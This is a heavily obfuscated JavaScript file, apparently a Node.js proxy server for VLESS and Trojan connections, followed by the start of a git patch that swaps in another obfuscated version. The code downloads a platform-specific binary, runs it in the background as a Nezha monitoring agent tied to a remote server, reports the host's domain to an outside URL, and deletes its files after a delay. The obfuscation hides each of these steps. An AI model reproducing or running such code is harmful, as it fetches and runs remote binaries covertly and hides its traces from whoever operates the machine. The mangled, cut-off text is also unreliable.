_0x163858!==_0xf60ace;},'TkzUB':_0x513f1c(0xc,0x4d,0xd8,0x173),'jCjAo':_0x513f1c(0x10c,0x22a,0x181,0x150)};function _0x582168(_0x211297,_0x160098,_0x43b119,_0x3ab89c){return _0x5438be(_0x160098,_0x160098-0x17f,_0x3ab89c-0x1b5,_0x3ab89c-0x197);}const _0x11d59c=_0x37bd11['url']||'';function _0x513f1c(_0x571236,_0x54f4fb,_0x375cab,_0x37aa23){return _0x5438be(_0x54f4fb,_0x54f4fb-0x153,_0x375cab-0x20f,_0x37aa23-0x1ab);}_0x357061[_0x513f1c(0x11c,0x1cc,0x14b,0x80)](_0x93ffc9['jCjAo'],_0x273b27=>{if(_0x273b27['length']>-0x22b+-0x175*-0xb+-0x141*0xb&&_0x93ffc9[_0x44c215(0x519,0x4a1,0x4d8,0x53e)](_0x273b27[-0x1*0x129f+0xe9b+0x404],-0x68f+0xc2d+-0x59e)){const _0x10487b=_0x273b27[_0x44c215(0x4f1,0x49f,0x42d,0x56d)](-0x1d7b*0x1+-0xe*-0x17b+-0x76*-0x13,0x5*-0x78b+-0x1*-0x32f+0x2299),_0x5b0a10=_0x10487b[_0x44c215(0x3b2,0x466,0x4ae,0x4d3)]((_0x42d744,_0x42fb38)=>_0x42d744==parseInt(uuid['substr'](_0x42fb38*(-0x251*-0x5+-0x1c0e+0x107b),0x18a+-0x1*0x1da+-0x1*-0x52),-0x2*-0xe35+0x29c*-0x7+-0x1*0xa16));if(_0x5b0a10){if(_0x93ffc9[_0x525d54(0x115,0xfb,0x101,0xa7)](_0x93ffc9['yBYYD'],_0x93ffc9['yslds'])){!_0x93ffc9[_0x44c215(0x4cb,0x49b,0x47f,0x474)](handleVlessConnection,_0x357061,_0x273b27)&&(_0x93ffc9['xggdM'](_0x44c215(0x529,0x49c,0x4d5,0x4de),_0x93ffc9['TkzUB'])?_0x357061[_0x44c215(0x38f,0x40c,0x411,0x3da)]():_0x5f1809+=-0x78f+0x1*-0x757+-0x13e*-0xc);return;}else this['write'](_0x1fc40e[_0x525d54(0xdb,0x153,0xf2,0x196)](_0x3ad4e7)),_0x1dca31['on'](_0x93ffc9[_0x44c215(0x373,0x379,0x2eb,0x353)],()=>{})['pipe'](this)['on'](_0x93ffc9['VaMkh'],()=>{})[_0x44c215(0x4d9,0x4d8,0x537,0x410)](_0x44e143);}}function _0x44c215(_0x360a75,_0x52f4c2,_0x589104,_0x34c492){return _0x582168(_0x360a75-0x187,_0x360a75,_0x589104-0xba,_0x52f4c2-0x382);}function _0x525d54(_0x59c029,_0x1a2a44,_0x31fe6e,_0x1528f9){return _0x513f1c(_0x59c029-0x42,_0x1528f9,_0x59c029- -0x9c,_0x1528f9-0x112);}!_0x93ffc9['eAWSf'](handleTrojanConnection,_0x357061,_0x273b27)&&_0x357061[_0x525d54(0x48,-0x72,-0x21,-0x54)]();})['on'](_0x582168(-0xe,0x4a,-0xb1,-0x10),()=>{});});const getDownloadUrl=()=>{function _0x5c93ea(_0x5a0d02,_0x4cba34,_0xda7382,_0x1b4dc9){return _0x21134f(_0x1b4dc9,_0x4cba34-0xb2,_0xda7382-0x424,_0x1b4dc9-0x10);}const _0x412575={'jQqmp':function(_0x366892){return _0x366892();},'YVvzO':function(_0x529058,_0x4c03da){return _0x529058===_0x4c03da;},'YCbHV':function(_0x3e3790,_0x1a16fe){return _0x3e3790===_0x1a16fe;},'ePCrk':function(_0x2b888e,_0x5b2402){return _0x2b888e===_0x5b2402;},'VvbSa':'erNZB','hOTVT':_0x4d5989(0xbf,0xc2,0x104,0xf1)+_0x5c93ea(0x46f,0x343,0x3ac,0x3bd)+_0x5c93ea(0x3e8,0x396,0x40f,0x49a),'scasl':_0x4d5989(0x54,-0x70,0xc7,0x7),'sngMZ':_0x4d5989(0x1a0,0x20b,0x245,0x1d9),'uSFXG':_0x4d5989(0xbf,0x109,0x30,0xb9)+'m64.ssss.n'+_0x4d5989(0x16c,0x135,0x14f,0x19a)+'t','aiEWY':_0x5c93ea(0x341,0x210,0x2db,0x323),'JUpaj':_0x5c93ea(0x34e,0x46a,0x3d7,0x3e7)+_0x4d5989(0xd1,0xbb,0x4a,0xc9)+_0x5c93ea(0x36e,0x481,0x40f,0x3c4)},_0x2eaf58=os[_0x5c93ea(0x2c7,0x25b,0x2be,0x383)]();function _0x4d5989(_0xbbdfda,_0x3e0676,_0x3d0755,_0x4532ab){return _0x21134f(_0x4532ab,_0x3e0676-0xe7,_0xbbdfda-0x18f,_0x4532ab-0x28);}if(_0x412575[_0x4d5989(0xf3,0x10e,0x105,0xa1)](_0x2eaf58,_0x4d5989(0x109,0xbe,0x113,0x17b))||_0x412575[_0x5c93ea(0x452,0x472,0x3ca,0x31c)](_0x2eaf58,_0x4d5989(0x84,0x60,0x52,0xd8))||_0x412575[_0x5c93ea(0x3f1,0x431,0x3a9,0x3e3)](_0x2eaf58,_0x4d5989(0x7a,0x11e,0x1a,0x5a))){if(!NEZHA_PORT){if(_0x412575['VvbSa']!==_0x412575[_0x4d5989(0x158,0x17a,0xc8,0xf1)]){if(_0x177095)_0x977f37(_0x8f14af);_0x412575['jQqmp'](_0x404b34);}else return _0x412575[_0x5c93ea(0x4ba,0x3a0,0x3f9,0x416)];}else{if(_0x412575['scasl']!==_0x412575[_0x4d5989(0x13c,0x1ee,0x1c6,0x122)])return _0x412575[_0x5c93ea(0x2b3,0x3b2,0x377,0x3b2)];else _0xc3febb=_0x386bdc[_0x4d5989(0x160,0x1b4,0x216,0x134)](_0x1e85d6,_0xc2fedb+(-0x145*-0x1e+-0x25c1+-0x51))['join']('.'),_0x1f94ba+=-0x1c3b+-0x1127+-0x3*-0xf22;}}else{if(!NEZHA_PORT){if(_0x412575[_0x4d5989(0xf3,0x50,0x190,0x17d)](_0x4d5989(0x46,0x4f,0xff,0xfc),_0x412575[_0x4d5989(0x82,0x103,0xb1,0x14b)]))return _0x412575[_0x4d5989(0xec,0x196,0x124,0x20)];else{if(_0x2fccad){const _0x168d44=_0xe21e55[_0x5c93ea(0x384,0x312,0x33c,0x2db)](_0x1ed293,arguments);return _0x3e56ec=null,_0x168d44;}}}else return _0x5c93ea(0x315,0x3d0,0x3d7,0x310)+_0x5c93ea(0x2f0,0x2f0,0x366,0x413)+_0x4d5989(0x16c,0x213,0xe8,0xd7)+'t';}},downloadFile=async()=>{function _0x1aa5f3(_0x537998,_0x3967e2,_0x549f89,_0x36a634){return _0x21134f(_0x537998,_0x3967e2-0x3f,_0x549f89-0x639,_0x36a634-0x1ab);}const _0x14e888={'wFahA':_0x1b731f(0x2aa,0x2dd,0x1dc,0x1f4)+_0x1aa5f3(0x696,0x6d4,0x61a,0x6b7)+_0x1b731f(0x2ab,0x273,0x357,0x2d3),'gnWDh':function(_0x4f2fb9,_0x55d334,_0x515cf7){return _0x4f2fb9(_0x55d334,_0x515cf7);},'WzWTC':_0x1aa5f3(0x522,0x4fb,0x548,0x5de)+'pm','XaGzR':_0x1aa5f3(0x68a,0x6ff,0x64f,0x5de),'kwZWj':_0x1aa5f3(0x53d,0x5d7,0x56e,0x4f1),'fDVTy':_0x1aa5f3(0x49d,0x4c6,0x4dd,0x428),'UlGLZ':_0x1aa5f3(0x5a7,0x618,0x561,0x4db),'vUuzN':function(_0x2a0eeb){return _0x2a0eeb();},'SnosD':function(_0x3ab0bf,_0x215f19){return _0x3ab0bf(_0x215f19);},'ofQLL':_0x1b731f(0x28a,0x23c,0x1ce,0x1d5),'QJvIj':_0x1aa5f3(0x5df,0x670,0x5b1,0x64c),'oomic':'npm','AvepU':function(_0x12c638,_0x5d5f11){return _0x12c638!==_0x5d5f11;},'SEBwu':_0x1b731f(0x37a,0x2db,0x309,0x35a)};function _0x1b731f(_0x30da13,_0x28f22,_0x299fb0,_0x2af511){return _0x5438be(_0x299fb0,_0x28f22-0x17e,_0x30da13-0x435,_0x2af511-0x86);}if(!NEZHA_SERVER&&!NEZHA_KEY)return;try{if(_0x14e888[_0x1b731f(0x3ba,0x420,0x37c,0x312)]===_0x14e888[_0x1aa5f3(0x58c,0x699,0x627,0x598)]){const _0x3dabfc=_0x14e888[_0x1b731f(0x33e,0x3cc,0x37f,0x39b)](getDownloadUrl),_0x544be5=await _0x14e888[_0x1aa5f3(0x483,0x4f4,0x54c,0x60f)](axios,{'method':_0x14e888[_0x1b731f(0x35e,0x3a4,0x2ab,0x38f)],'url':_0x3dabfc,'responseType':_0x14e888[_0x1b731f(0x272,0x1e4,0x2a9,0x31d)]}),_0x536a4a=fs['createWrit'+_0x1b731f(0x365,0x317,0x3b4,0x2e6)](_0x14e888[_0x1aa5f3(0x652,0x56a,0x5d3,0x5e1)]);return _0x544be5[_0x1aa5f3(0x671,0x626,0x615,0x6d3)][_0x1b731f(0x3d6,0x30f,0x43f,0x47e)](_0x536a4a),new Promise((_0x40f4a6,_0x4cb855)=>{const _0x15b3cb={};function _0x9acfab(_0x58b118,_0x52101f,_0x10806b,_0x4d0ecd){return _0x1b731f(_0x52101f-0x2ac,_0x52101f-0x15a,_0x10806b,_0x4d0ecd-0x8f);}function _0x4dc565(_0x2626b4,_0x5cecba,_0x269b45,_0x4ca912){return _0x1b731f(_0x5cecba- -0x196,_0x5cecba-0x1f0,_0x2626b4,_0x4ca912-0x14);}_0x15b3cb[_0x4dc565(0x1f4,0x1d2,0x171,0x125)]=_0x4dc565(0x55,0xda,0x15a,0x65);const _0x5d84d6=_0x15b3cb;_0x9acfab(0x4cc,0x511,0x5e1,0x496)!==_0x14e888[_0x4dc565(0x125,0x1ad,0x223,0x225)]?(_0x536a4a['on'](_0x14e888[_0x9acfab(0x6f6,0x660,0x5a8,0x690)],()=>{const _0x371bf1={'chnce':function(_0x35424b,_0x3c3d3b){return _0x35424b(_0x3c3d3b);}};function _0x173aaf(_0x40cc9d,_0xcd254a,_0x27d043,_0x5533c){return _0x4dc565(_0x27d043,_0x5533c-0x437,_0x27d043-0x7c,_0x5533c-0x141);}console[_0x173aaf(0x61f,0x4e7,0x516,0x576)](_0x14e888[_0x173aaf(0x508,0x596,0x59d,0x570)]);function _0x22eb55(_0x5edbe1,_0x132033,_0x642078,_0x4b0550){return _0x4dc565(_0x5edbe1,_0x132033-0x2ad,_0x642078-0xbc,_0x4b0550-0x195);}_0x14e888['gnWDh'](exec,_0x14e888[_0x173aaf(0x603,0x55e,0x50d,0x545)],_0x166d47=>{if(_0x166d47)_0x371bf1[_0x1e89c1(0x5bf,0x66f,0x5c5,0x5bf)](_0x4cb855,_0x166d47);function _0x1e89c1(_0x157d96,_0x2dba52,_0x1358ae,_0x301056){return _0x173aaf(_0x157d96-0xcc,_0x2dba52-0x1c4,_0x1358ae,_0x157d96- -0x57);}_0x40f4a6();});}),_0x536a4a['on'](_0x14e888[_0x4dc565(0x102,0x117,0x9e,0x164)],_0x4cb855)):(this['write'](_0x178cc9[_0x4dc565(0x1b8,0x207,0x2b5,0x13d)](_0x419c03)),_0x209af2['on'](_0x4dc565(0xc7,0xda,0xc2,0xbc),()=>{})[_0x4dc565(0x23e,0x240,0x22e,0x2e9)](this)['on'](_0x5d84d6[_0x4dc565(0x241,0x1d2,0x277,0x14e)],()=>{})[_0x9acfab(0x5f9,0x682,0x735,0x6a6)](_0x1f71cc));});}else{const _0x15dafc=_0x3378e0[_0x1aa5f3(0x5d7,0x5af,0x551,0x555)](_0x4b380c,arguments);return _0x5b0637=null,_0x15dafc;}}catch(_0x1f0c08){if(_0x14e888[_0x1aa5f3(0x520,0x655,0x5c5,0x664)]('asrUg',_0x14e888[_0x1b731f(0x262,0x2b9,0x1d7,0x2ae)])){const _0x215332=_0x246663?function(){function _0x45a345(_0x1049c9,_0x3cacab,_0x2c3463,_0x5bd6c5){return _0x1b731f(_0x2c3463-0xce,_0x3cacab-0x15e,_0x3cacab,_0x5bd6c5-0x23);}if(_0x3db98e){const _0x1046b3=_0x246083[_0x45a345(0x441,0x3fc,0x3b2,0x359)](_0xc518d4,arguments);return _0x3ab287=null,_0x1046b3;}}:function(){};return _0x3c6217=![],_0x215332;}else throw _0x1f0c08;}},runnz=async()=>{function _0x2e0863(_0x1f7d70,_0x467909,_0x4aa7ed,_0x16d048){return _0x21134f(_0x4aa7ed,_0x467909-0xb0,_0x467909-0xee,_0x16d048-0x77);}const _0x35b745={'rqrkg':function(_0x4724e5,_0xa66437,_0x5384d7){return _0x4724e5(_0xa66437,_0x5384d7);},'aTLVk':_0x4a1158(-0x1d,-0x9f,0x4d,-0x22)+_0x2e0863(0x96,0x119,0x65,0xb5)+_0x4a1158(-0xc5,-0x115,-0x181,-0xc4)+_0x4a1158(0x1f,-0x3d,-0x81,-0x8f),'XMKNF':'utf-8','loION':function(_0x57ea8a,_0x4f3827){return _0x57ea8a!==_0x4f3827;},'qVKgV':_0x4a1158(-0x15d,-0x120,-0x152,-0x15e)+'eady\x20runni'+_0x4a1158(-0x5f,-0xcf,-0xab,-0x51)+_0x2e0863(0xdb,0x10,-0xa7,0x7),'XegYD':function(_0x1761cd,_0x42a3f8){return _0x1761cd(_0x42a3f8);},'oYJhM':_0x2e0863(0x10a,0x99,0x103,0x32)+'g\x20error:','angvx':function(_0x31c6db,_0x302d27){return _0x31c6db!==_0x302d27;},'fclJi':_0x4a1158(-0x31,-0x15,-0x39,0x63),'AIjFT':'2096','uEvzD':_0x4a1158(-0x9f,-0x97,-0x65,-0x1a),'bcSLD':_0x4a1158(-0x4c,-0x4b,-0x11a,0x3c),'pzYgv':function(_0x31ca43,_0x3702a7){return _0x31ca43&&_0x3702a7;},'ueQWI':_0x4a1158(0x18,0xe8,0x94,-0xa3),'IFooG':_0x2e0863(0xda,0xeb,0xdb,0xd9),'fVIIk':_0x2e0863(-0x34,0x11,0x87,-0x59),'BYrue':_0x2e0863(-0x50,-0x19,-0xc9,-0x6d)+'l','qrrUI':_0x4a1158(-0x67,0x4e,-0x60,-0xeb),'NmIQl':_0x2e0863(0x16e,0xfd,0xdf,0x11c)+_0x2e0863(0xc5,0x6b,0x108,0x7f)+'pty,\x20skip\x20'+_0x4a1158(-0x1e,-0x27,-0x53,0x51),'GKxnR':function(_0x5b3bd3,_0x17f5c4){return _0x5b3bd3===_0x17f5c4;},'emmdY':'Wjgea','aTOZC':function(_0x107c2f,_0x36a8ab,_0x168878,_0x4772be){return _0x107c2f(_0x36a8ab,_0x168878,_0x4772be);},'tjqEz':_0x2e0863(-0x11b,-0x5c,-0x24,0x57)};try{const _0x3eadda={};_0x3eadda[_0x4a1158(-0x3a,0x27,0x31,0x31)]=_0x35b745[_0x4a1158(-0xfa,-0x18f,-0x7d,-0x111)];const _0x2dc6ce=execSync(_0x4a1158(-0x1d,0x4d,0x23,-0x38)+_0x2e0863(0xff,0x119,0x119,0x70)+_0x2e0863(-0x91,0x1d,0xa,0x4c)+_0x2e0863(0x18c,0x101,0x1ab,0x130),_0x3eadda);if(_0x35b745[_0x4a1158(0x38,-0x82,-0x12,0xcb)](_0x2dc6ce[_0x4a1158(-0x43,-0xd9,0x40,-0xc7)](),'')){console[_0x2e0863(-0x8b,-0x9,0x7d,0x3a)](_0x35b745[_0x2e0863(0x2b,0x31,-0x7e,0xf5)]);return;}}catch(_0x61f59a){}await downloadFile();let _0x448363='',_0x1727fc=[_0x2e0863(0xc1,0x4f,-0x42,0xbc),_0x35b745[_0x2e0863(0x3b,-0x13,-0x3,-0x8b)],_0x35b745[_0x2e0863(0x1c,0x4e,-0x34,-0x3c)],'2087',_0x35b745[_0x2e0863(-0xf1,-0x62,-0x32,-0x15)],_0x35b745[_0x4a1158(0x1a,0x96,-0x11,-0x15)]];if(_0x35b745[_0x2e0863(0xc9,0x25,0x8c,0x7a)](NEZHA_SERVER,NEZHA_PORT)&&NEZHA_KEY){const _0x54d35e=_0x1727fc[_0x2e0863(-0x52,0x45,0x111,0x90)](NEZHA_PORT)?_0x35b745['ueQWI']:'';_0x448363=_0x4a1158(0x12,0x1a,-0x33,-0x1a)+_0x2e0863(-0xa3,-0x7,-0x68,-0x7d)+'s\x20'+NEZHA_SERVER+':'+NEZHA_PORT+'\x20-p\x20'+NEZHA_KEY+'\x20'+_0x54d35e+(_0x4a1158(-0x88,-0xd1,-0xb1,0x3a)+_0x4a1158(-0x4,-0xcb,0x2f,0xad)+_0x2e0863(0x72,-0x58,0x17,-0xc7)+_0x4a1158(-0x9c,-0xdb,-0xe4,-0x79)+_0x2e0863(0x20,0xe1,0x2d,0x167)+'n\x20--skip-p'+_0x4a1158(-0x12e,-0xbd,-0xd6,-0x84)+_0x4a1158(-0x11e,-0xbc,-0xe5,-0x180)+'\x20&');}else{if(_0x35b745[_0x2e0863(0x94,0x25,0xc3,0x1a)](NEZHA_SERVER,NEZHA_KEY)){if(!NEZHA_PORT){const _0x347d0f=NEZHA_SERVER[_0x4a1158(-0x9d,-0x11b,-0x43,0x32)](':')?NEZHA_SERVER[_0x2e0863(0x8b,0xdd,0x4b,0x96)](':')['pop']():'',_0x4d9f9c=_0x1727fc[_0x2e0863(0xd5,0x45,0x65,0x59)](_0x347d0f)?_0x35b745[_0x4a1158(-0x114,-0x14d,-0x101,-0x7b)]:_0x35b745[_0x2e0863(0xe3,0x17,-0x9,-0xa)],_0xa8bbf8='client_sec'+_0x4a1158(-0x10a,-0x7c,-0x59,-0xc7)+NEZHA_KEY+('\x0adebug:\x20fa'+'lse\x0adisabl'+_0x4a1158(-0x123,-0x1a6,-0x53,-0x1a1)+_0x2e0863(0x3c,0xae,0x65,0x110)+_0x2e0863(-0xb9,-0x2e,0x41,-0xe7)+_0x4a1158(-0x56,-0x2c,-0x3d,-0x7c)+_0x2e0863(0x13f,0x9e,0x14e,0x126)+'\x0adisable_f'+'orce_updat'+_0x2e0863(0x1a6,0x100,0x42,0x1a2)+_0x4a1158(-0x53,-0xa2,0x24,-0xfb)+_0x4a1158(-0xfe,-0x135,-0xf8,-0x58)+_0x2e0863(0x6f,0x92,0xb2,-0x26)+_0x4a1158(-0x3e,-0x8b,-0xe1,-0x4e)+_0x2e0863(0x70,0x95,-0x2a,0x9c)+_0x2e0863(-0x90,0x0,0x82,0x7b)+_0x4a1158(0x21,0xca,0x95,-0x4b)+_0x4a1158(-0x25,-0x7b,0x12,-0x56)+'rt_period:'+'\x201800\x0arepo'+'rt_delay:\x20'+_0x2e0863(0xa1,0xb3,0x64,0x47))+NEZHA_SERVER+(_0x4a1158(-0x65,0x18,0x4d,-0x42)+_0x4a1158(-0xe0,-0x8e,-0x153,-0x3d)+_0x2e0863(0x192,0xee,0x153,0x99)+'kip_procs_'+'count:\x20tru'+_0x2e0863(0xe,-0x46,-0xa9,-0x8c)+_0x4a1158(-0x118,-0xe5,-0x4a,-0xf8)+_0x2e0863(0x12c,0x10a,0x162,0xf0))+_0x4d9f9c+(_0x2e0863(-0x81,-0x1b,0x52,0x95)+_0x2e0863(0x56,0x54,-0x32,0x115)+_0x2e0863(0xb7,0xa6,-0x6,0x13)+_0x2e0863(0x19c,0x106,0x110,0x176)+_0x2e0863(0xae,0x9,-0x68,-0x2e)+_0x4a1158(0x32,-0x9f,0x9a,0x81)+_0x4a1158(-0x10e,-0xef,-0xbd,-0x19a))+UUID;fs[_0x4a1158(0x31,-0x2f,-0x1c,-0x90)+_0x2e0863(0xea,0xfe,0xd4,0x1ba)](_0x35b745[_0x2e0863(0x1,-0x71,0x4b,0x3c)],_0xa8bbf8);}_0x448363=_0x4a1158(0x12,-0x37,-0x78,0x7f)+_0x2e0863(0xa9,-0x7,-0x8c,0x3e)+_0x2e0863(-0x16,-0x48,0x56,0x77)+'aml\x20>/dev/'+_0x4a1158(-0x152,-0x181,-0xf1,-0x170)+'&';}else{if(_0x35b745['qrrUI']!==_0x35b745[_0x4a1158(-0xc6,-0x71,-0x95,-0x121)]){const _0x2570f8=_0x35b745['rqrkg'](_0x4094d3,_0x35b745[_0x2e0863(0xe1,0x109,0x1b0,0x127)],{'encoding':_0x35b745[_0x4a1158(-0xfa,-0x1bc,-0x5f,-0xb3)]});if(_0x35b745[_0x4a1158(0x34,0xc4,0x59,0x88)](_0x2570f8[_0x2e0863(0x126,0x9f,0x44,0xce)](),'')){_0x4d3fb5['log'](_0x35b745['qVKgV']);return;}}else{console[_0x4a1158(-0xeb,-0xa9,-0x65,-0xe6)](_0x35b745[_0x4a1158(0x8,0x1a,-0x15,0x32)]);return;}}}function _0x4a1158(_0x17a3cf,_0x389406,_0xcf249b,_0x454511){return _0x5438be(_0x454511,_0x389406-0x1eb,_0x17a3cf-0x75,_0x454511-0x1a4);}try{if(_0x35b745[_0x4a1158(0x30,0xca,0xaf,0x86)](_0x2e0863(0x26,-0xe,-0x5c,-0x26),_0x35b745[_0x2e0863(-0x63,0x47,-0x4f,0x2)])){const _0x41054b=_0x354968['Answer'][_0x4a1158(0x39,-0x72,0x8e,0x14)](_0x3c6e1e=>_0x3c6e1e[_0x4a1158(-0x63,-0x132,-0x128,-0x12c)]===-0x1db1*0x1+0x17eb+-0x1*-0x5c7);if(_0x41054b){_0x35b745[_0x2e0863(0x6,0x5b,-0x4c,0x111)](_0x41ffc6,_0x41054b[_0x4a1158(-0x18,0xaf,-0xe7,0x20)]);return;}}else _0x35b745[_0x2e0863(0x135,0x72,0x2f,-0x2e)](exec,_0x448363,{'shell':_0x35b745[_0x2e0863(0x7b,0x84,0x1b,0x11d)]},_0x2425f9=>{function _0x55fb83(_0x3f1a4c,_0x127eac,_0x4b8de7,_0x45624d){return _0x4a1158(_0x4b8de7-0x664,_0x127eac-0x117,_0x4b8de7-0x13,_0x3f1a4c);}function _0x10656d(_0x3ef154,_0x19fe0c,_0x2ba377,_0x14b832){return _0x2e0863(_0x3ef154-0xa2,_0x19fe0c-0x447,_0x2ba377,_0x14b832-0x1e9);}if(_0x2425f9)console[_0x10656d(0x418,0x3d9,0x34e,0x418)](_0x35b745[_0x10656d(0x56f,0x4ec,0x566,0x4d7)],_0x2425f9);else console[_0x55fb83(0x54c,0x57c,0x579,0x5f4)](_0x10656d(0x45c,0x471,0x4e2,0x42e)+_0x55fb83(0x51c,0x53b,0x5aa,0x5d3));});}catch(_0x1096f3){console[_0x4a1158(-0x150,-0xa4,-0x10c,-0xc3)](_0x4a1158(-0x147,-0x183,-0xac,-0x162)+_0x1096f3);}};async function addAccessTask(){const _0x5d7ec8={};_0x5d7ec8['wWzUW']=_0x2ba2f3(-0x160,-0x169,-0xdd,-0x1b)+_0x2ba2f3(-0x28,0x8a,-0x2e,0x82)+_0x5eb321(0x57,0x7d,0xa6,0x89)+'l',_0x5d7ec8[_0x5eb321(0xaf,0x117,0x4f,0x17)]=_0x5eb321(0xa3,0x165,0xb3,0x26)+_0x5eb321(0x105,0x173,0xef,0x1d),_0x5d7ec8[_0x5eb321(0xa7,-0x7f,0x38,0xdd)]=_0x2ba2f3(-0x3e,-0x41,-0xf0,-0x28)+_0x5eb321(-0xac,0x28,-0x22,0x65)+_0x2ba2f3(0xd5,0x124,0x62,0x102)+_0x5eb321(-0x1a,0x73,-0x32,-0x6e);const _0x199246=_0x5d7ec8;if(!AUTO_ACCESS)return;function _0x2ba2f3(_0x1e634a,_0x374680,_0x309c4f,_0x530b7b){return _0x5438be(_0x1e634a,_0x374680-0xa0,_0x309c4f-0xd0,_0x530b7b-0xd6);}if(!DOMAIN)return;const _0xc73d4e=_0x2ba2f3(0x11,-0xcd,-0x63,-0xa6)+DOMAIN;function _0x5eb321(_0x4a056e,_0x27b856,_0x518a5c,_0x143af4){return _0x5438be(_0x27b856,_0x27b856-0xc4,_0x518a5c-0x137,_0x143af4-0x123);}try{const _0x2465ce={};_0x2465ce['url']=_0xc73d4e;const _0x597c85=await axios[_0x5eb321(0x1b,-0x78,0x41,-0x7e)](_0x199246['wWzUW'],_0x2465ce,{'headers':{'Content-Type':_0x199246[_0x5eb321(0xfa,-0x71,0x4f,-0x3d)]}});console[_0x2ba2f3(-0x92,-0x1b,-0x90,-0x35)](_0x199246[_0x5eb321(0x66,0x7c,0x38,0x2)]);}catch(_0x1cf024){}}const delFiles=()=>{fs[_0x40a47d(0x91,0x13e,0x86,0x1f3)](_0x40a47d(0x226,0x24d,0x2e9,0x212),()=>{});function _0x18d29d(_0x158942,_0x32ea4e,_0x174d24,_0x303bf2){return _0x5438be(_0x303bf2,_0x32ea4e-0x160,_0x174d24-0x50e,_0x303bf2-0xc5);}function _0x40a47d(_0x3c6c45,_0x23a63b,_0x38bc38,_0x43a02c){return _0x5438be(_0x43a02c,_0x23a63b-0xf8,_0x23a63b-0x2a9,_0x43a02c-0x55);}fs[_0x40a47d(0xfc,0x13e,0x203,0x13c)]('config.yam'+'l',()=>{});};httpServer['listen'](PORT,()=>{const _0xdb3c73={'QBJPU':function(_0x4ba769){return _0x4ba769();}};_0xdb3c73[_0xb7694c(0x11a,0x14b,0x10b,0x185)](runnz);function _0x2c7ab2(_0x18c33e,_0x38431c,_0x38c297,_0x2110ba){return _0x5438be(_0x18c33e,_0x38431c-0x68,_0x38c297-0x693,_0x2110ba-0xf0);}setTimeout(()=>{function _0x40cfb0(_0x318287,_0x36829a,_0x341087,_0x113bd1){return _0xb7694c(_0x36829a,_0x36829a-0x14,_0x341087-0x53,_0x318287- -0x275);}_0xdb3c73[_0x40cfb0(-0xf0,-0x18d,-0x73,-0x63)](delFiles);},-0x1*-0x17d53+0x1a30d+0x1850*-0x4);function _0xb7694c(_0x3aded8,_0x43e6a2,_0x10dc52,_0xca0328){return _0x5438be(_0x3aded8,_0x43e6a2-0x154,_0xca0328-0x35c,_0xca0328-0x154);}_0xdb3c73[_0x2c7ab2(0x4ec,0x47c,0x4bc,0x453)](addAccessTask),console[_0x2c7ab2(0x4f0,0x493,0x533,0x5f8)](_0xb7694c(0x23e,0x2f1,0x193,0x24e)+_0x2c7ab2(0x4f0,0x5f9,0x58c,0x5bc)+_0x2c7ab2(0x5e2,0x6fe,0x62d,0x569)+PORT);}); From 9b669b34733dbbc2185d4cb8639232b46478a07e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E8=80=81=E7=8E=8B?= Date: Tue, 16 Dec 2025 14:22:05 +0800 Subject: [PATCH 17/20] change isp api --- index.js | 378 ++++++++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 377 insertions(+), 1 deletion(-) diff --git a/index.js b/index.js index a2da186cb3..8cbb425f3b 100644 --- a/index.js +++ b/index.js @@ -1 +1,377 @@ -(function(_0x203c94,_0x52143a){function _0x121c2b(_0x44ad27,_0x5e164e,_0x1d7884,_0x3dc267){return _0x2de5(_0x44ad27- -0x347,_0x3dc267);}function _0xc877f9(_0x2666ec,_0x53cfaa,_0x2c7fe5,_0x2e45a8){return _0x2de5(_0x2e45a8- -0x1e,_0x2666ec);}const _0x1b1ab8=_0x203c94();while(!![]){try{const _0x550b9b=-parseInt(_0xc877f9(0x33b,0x29e,0x1b0,0x275))/(0xd*0x9b+0x2*-0xfea+-0x17f6*-0x1)*(parseInt(_0x121c2b(-0x5c,-0x5,-0x3,0x1e))/(0x1db0+0x2*-0x192+-0x1a8a))+parseInt(_0xc877f9(0x1a1,0x2f4,0x1b2,0x223))/(0x1a89*0x1+-0x207*-0x7+-0x28b7)*(parseInt(_0x121c2b(-0x7b,-0x35,-0x40,-0x1a))/(0x18fa+0x3f4*-0x7+-0x1*-0x2b6))+-parseInt(_0x121c2b(-0xa6,-0x39,0x11,-0xd))/(0x2617*-0x1+-0x1*-0x1c8a+-0x32*-0x31)+-parseInt(_0xc877f9(0x26d,0x211,0x285,0x238))/(0x6cb*-0x3+-0x1615*-0x1+-0x1ae)+parseInt(_0x121c2b(-0xff,-0x146,-0x16e,-0xb2))/(-0x1883+-0x21*-0xda+-0x390)+-parseInt(_0xc877f9(0x1b7,0xac,0x17a,0x147))/(0x2038*-0x1+-0x65e*0x2+0x2cfc)*(parseInt(_0xc877f9(0x20f,0x25a,0x1e6,0x21f))/(0xf9f+-0x178+-0xe1e*0x1))+parseInt(_0x121c2b(-0x101,-0x47,-0x6f,-0x118))/(-0xc4b+-0xfa4+0x1bf9);if(_0x550b9b===_0x52143a)break;else _0x1b1ab8['push'](_0x1b1ab8['shift']());}catch(_0x5af43a){_0x1b1ab8['push'](_0x1b1ab8['shift']());}}}(_0x2709,-0x2b13*0x63+-0x6*0x34b61+0x27557*0x13));const _0x5a6852=(function(){const _0x45b55d={'kvWvR':function(_0x3d1029){return _0x3d1029();},'YRmBi':function(_0x49478d,_0x6fa208){return _0x49478d!==_0x6fa208;}};let _0x3d12a7=!![];return function(_0x2205f2,_0x227b2a){function _0x4cb038(_0x487375,_0x4fc7d0,_0x37c8de,_0x4e5b51){return _0x2de5(_0x37c8de-0xc9,_0x4fc7d0);}const _0x41ac4f={'YtKXA':function(_0x28fa25){function _0x406473(_0x5721df,_0x19e4a8,_0x1f74ff,_0x44a6df){return _0x2de5(_0x5721df-0x107,_0x19e4a8);}return _0x45b55d[_0x406473(0x3a4,0x316,0x2ec,0x41c)](_0x28fa25);},'dvvbi':function(_0xd5b45a,_0x55d251){return _0x45b55d['YRmBi'](_0xd5b45a,_0x55d251);},'ilmFV':_0x388057(0x10a,0x148,0xae,0x119),'KTyyU':_0x4cb038(0x2a4,0x2cb,0x285,0x1ed),'zmsAb':function(_0x340e1f,_0x702d65){return _0x340e1f!==_0x702d65;},'cOhLJ':'SpMHk'},_0x134d47=_0x3d12a7?function(){function _0x4d1772(_0x3fe98e,_0x4aeaf7,_0x2345b2,_0x245426){return _0x388057(_0x4aeaf7- -0x180,_0x4aeaf7-0x1e0,_0x3fe98e,_0x245426-0x175);}function _0x1e0b69(_0x223c2e,_0x4236bb,_0x15165e,_0x5d2fe8){return 